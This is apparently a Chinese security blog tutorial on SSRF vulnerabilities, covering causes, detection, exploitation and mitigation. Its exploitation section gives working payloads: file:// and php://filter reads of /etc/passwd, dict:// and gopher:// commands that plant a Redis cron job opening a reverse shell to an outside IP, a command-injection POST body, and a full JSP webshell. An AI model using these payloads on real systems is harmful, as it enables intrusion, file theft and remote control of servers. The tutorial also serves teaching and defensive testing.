SSRF 服务端请求伪造漏洞

SSRF 服务端请求伪造漏洞

概述

服务端请求伪造(Server-Side Request Forgery,简称 SSRF)是一种由攻击者诱导服务器发起非预期请求的安全漏洞。通常,攻击者通过操控服务器发送的请求,访问内部网络资源、读取敏感文件或执行恶意操作,从而对系统造成威胁。

产生原因

SSRF 漏洞的根本原因在于开发者未对用户输入的 URL 参数进行严格的验证和过滤,导致服务器可能向任意地址发起请求。常见场景包括:

  • 未限制的 URL 输入:用户可直接控制请求的目标 URL。
  • 不安全的函数使用:如 PHP 中的 file_get_contentscurl_exec 或其他可发起网络请求的函数,未对参数进行充分校验。
  • 协议支持广泛:服务器支持多种协议(如 http://file://gopher:// 等),增加了攻击面。

示例图

ssrf

CSRF 和 SSRF 的区别

特性SSRFCSRF
全称服务端请求伪造跨站请求伪造
攻击目标诱导服务器执行非预期请求诱导用户执行非预期操作
影响范围服务器端,可能涉及内网资源客户端,通常涉及用户权限操作
典型场景读取内网文件、探测内网、攻击内部服务伪造用户请求,如修改密码、转账等

危害

SSRF 漏洞可能导致以下严重后果:

  1. 任意文件读取:通过 file://php://filter 协议读取服务器本地敏感文件(如配置文件、源代码)。
  2. 内网探测:扫描内网 IP、端口或服务,获取网络拓扑信息。
  3. 内网攻击:利用内网服务漏洞(如 Redis、Tomcat)执行命令或植入恶意代码。
  4. 绕过访问控制:访问仅限内网访问的资源。
  5. 拒绝服务(DoS):向内部服务发送大量请求,耗尽服务器资源。

挖掘方法

1. 代码审计

通过审查源代码,定位可能导致 SSRF 漏洞的代码模式。以下是常见步骤:

定位关键函数

检查以下可能发起网络请求的函数:

  • PHPfile_get_contentsfsockopencurl_execfopen
  • Pythonrequests.geturllib.request.urlopen
  • JavaHttpURLConnectionjava.net.URL

示例(PHP 中易受 SSRF 攻击的代码):

<?php
$url = $_GET['url'];
echo file_get_contents($url);
?>

检查参数可控性

  • 确认用户输入(如 $_GET$_POST)是否直接传递到请求函数。
  • 检查是否存在对输入 URL 的过滤(如白名单、黑名单、协议限制)。

验证过滤机制

  • 检查是否限制协议(http://https://)或域名。
  • 检查是否对内网 IP(如 127.0.0.110.0.0.0/8)进行限制。
  • 分析是否存在绕过过滤的可能(如大小写、编码、短域名)。

黑盒测试

在无法访问源代码的情况下,通过黑盒测试挖掘 SSRF 漏洞:

方法一:HTTP 记录分析

  1. 使用 Burp Suite 抓取请求,寻找包含 URL 的请求。
  2. 修改 URL 参数为测试地址(如 http://example.com/abc),观察服务器是否发起对应请求。
  3. 检查 Burp Suite 的 HTTP 历史记录,确认是否有非预期请求。

方法二:DNS 记录分析

  1. 使用 Burp Suite 生成临时域名并添加子域名(如 http://test/example.com)。
  2. 发送请求。
  3. 检查 DNS 解析记录,确认服务器是否尝试解析该域名。

利用

任意文件读取

通过 SSRF 漏洞利用 file://php://filter 协议读取服务器本地文件。

使用 file:// 协议

file://绝对路径
file:///etc/passwd
file:///C:/Windows/System32/drivers/etc/hosts

使用 php://filter 协议

将文件内容以 Base64 或 rot13 编码返回,避免编码问题:

php://filter/read=convert.base64-encode/resource=文件的相对路径或绝对路径
php://filter/read=convert.base64-encode/resource=/etc/passwd

截图示例

image-20250721200824859

内网探测

通过 SSRF 探测内网 IP、端口和服务,获取网络拓扑信息。

获取内网 IP

读取 /etc/hosts 文件以获取内网 IP 信息:

file:///etc/hosts
file:///C:/Windows/System32/drivers/etc/hosts

截图示例

image-20250721200958440

端口扫描

使用 dict://http:// 协议探测内网服务(部分 SSRF 漏洞不支持 dict://,可以用 http:// 代替):

dict://[ip]:[port]
http://[ip]:[port]

结合 Burp Suite 的 Intruder 模块,爆破端口(常见端口如 80、443、6379、3306)。

截图示例

image-20250721201621288

C 段扫描

同端口扫描一样,可以扫描 C 段,将攻击点定位于 C 段即可,方式同端口扫描

C 段扫描的数字为 1-254

目录扫描

使用目录字典(如 fuzzDictsdirectoryDicts),探测内网服务目录:

http://172.72.23.22/index.php
http://172.72.23.22/phpinfo.php
http://172.72.23.22/shell.php
······

内网攻击

利用 SSRF 攻击内网服务,常见目标包括 Redis、Tomcat、未授权访问的数据库、内网其他服务器等。

GET 型攻击

假设探测发现 http://172.16.0.1/shell.php 存在命令执行漏洞,可构造如下请求:

http://172.72.23.22/shell.php?cmd=id

截图示例

image-20250721202300578

POST 型攻击(使用 gopher://

gopher:// 协议可发送任意 TCP 数据,适合攻击非 HTTP 服务。

作用:发送 TCP 数据

格式gopher://IP:Port/_TCP数据

默认端口70

步骤

  1. 构造原始 POST 请求:

    POST / HTTP/1.1
    Host: 172.72.23.24
    Content-Length: 15
    Content-Type: application/x-www-form-urlencoded
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
    Referer: https://3927aff6-9d3d-4e76-9529-6a4bc65cc2cf.ubpdyudi.icu/
    
    ip=127.0.0.1;id
    

     

  2. 对请求体进行两次 URL 编码,转换为 gopher:// 格式:

    gopher://172.72.23.24:80/_%50%4F%53%54%20%2F%20%48%54%54%50%2F%31%2E%31%0D...
    
  3. 将编码后的 URL 替换到 SSRF 参数,发送请求。

注意事项

  • 确保 Content-Length 准确。
  • 删除 Accept-Encoding: gzip 以避免压缩干扰。
  • 使用 Burp Suite 验证请求是否正确发送。

截图示例

image-20250721144834217

攻击 Redis

利用 dict://gopher:// 协议操作 Redis 服务:

dict:// 攻击 Redis 示例

dict://172.72.23.27:6379/flushall
dict://172.72.23.27:6379/set a "\n\n* * * * * /bin/bash -i >%26 /dev/tcp/192.168.126.129/15000 0>%261\n\n"
dict://172.72.23.27:6379/config set dir /var/spool/cron/
dict://172.72.23.27:6379/config set dbfilename root
dict://172.72.23.27:6379/save

gopher:// 攻击 Redis 示例

  1. 捕获原始 TCP 流

    *1
    $8
    flushall
    *3
    $3
    set
    $1
    a
    $61
      
    * * * * * /bin/bash -i >& /dev/tcp/192.168.126.129/15000 0>&1
      
    *4
    $6
    config
    $3
    set
    $3
    dir
    $16
    /var/spool/cron/
    *4
    $6
    config
    $3
    set
    $10
    dbfilename
    $4
    root
    *1
    $4
    save
    
  2. 对 TCP 流进行两次 URL 编码,构造 gopher:// 请求:

    gopher://172.72.23.27:6379/_%2A%31%0D%0A%24%38%0D%0A%66%6C%75%73%68%61%6C%6C...
    

截图示例image-20250721162259417

攻击 Tomcat

若内网存在 Tomcat 服务,可利用 SSRF 访问管理界面或已知漏洞(如弱口令、CVE 漏洞),并结合已知漏洞(如 CVE-2017-12615),尝试上传 Webshell 或执行命令。

Java payload

<%@ page import="java.io.*" %> 
<% String cmd = request.getParameter("cmd"); String output = ""; if(cmd != null) { String s = null; try { Process p = Runtime.getRuntime().exec(cmd); BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream())); while((s = sI.readLine()) != null) { output += s +"\r\n"; } } catch(IOException e) { e.printStackTrace(); } } out.println(output);%>

截图示例

image-20250721203828109

修复

  1. 拦截特殊的协议头

    • file://php://dict://gopher://
  2. 拦截特殊的站点

    • localhost127.0.0.1192.168.x.x172.x.x.x10.x.x.x
  3. 只允许域名访问,还可以设置域名白名单

    • *.baidu.com
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇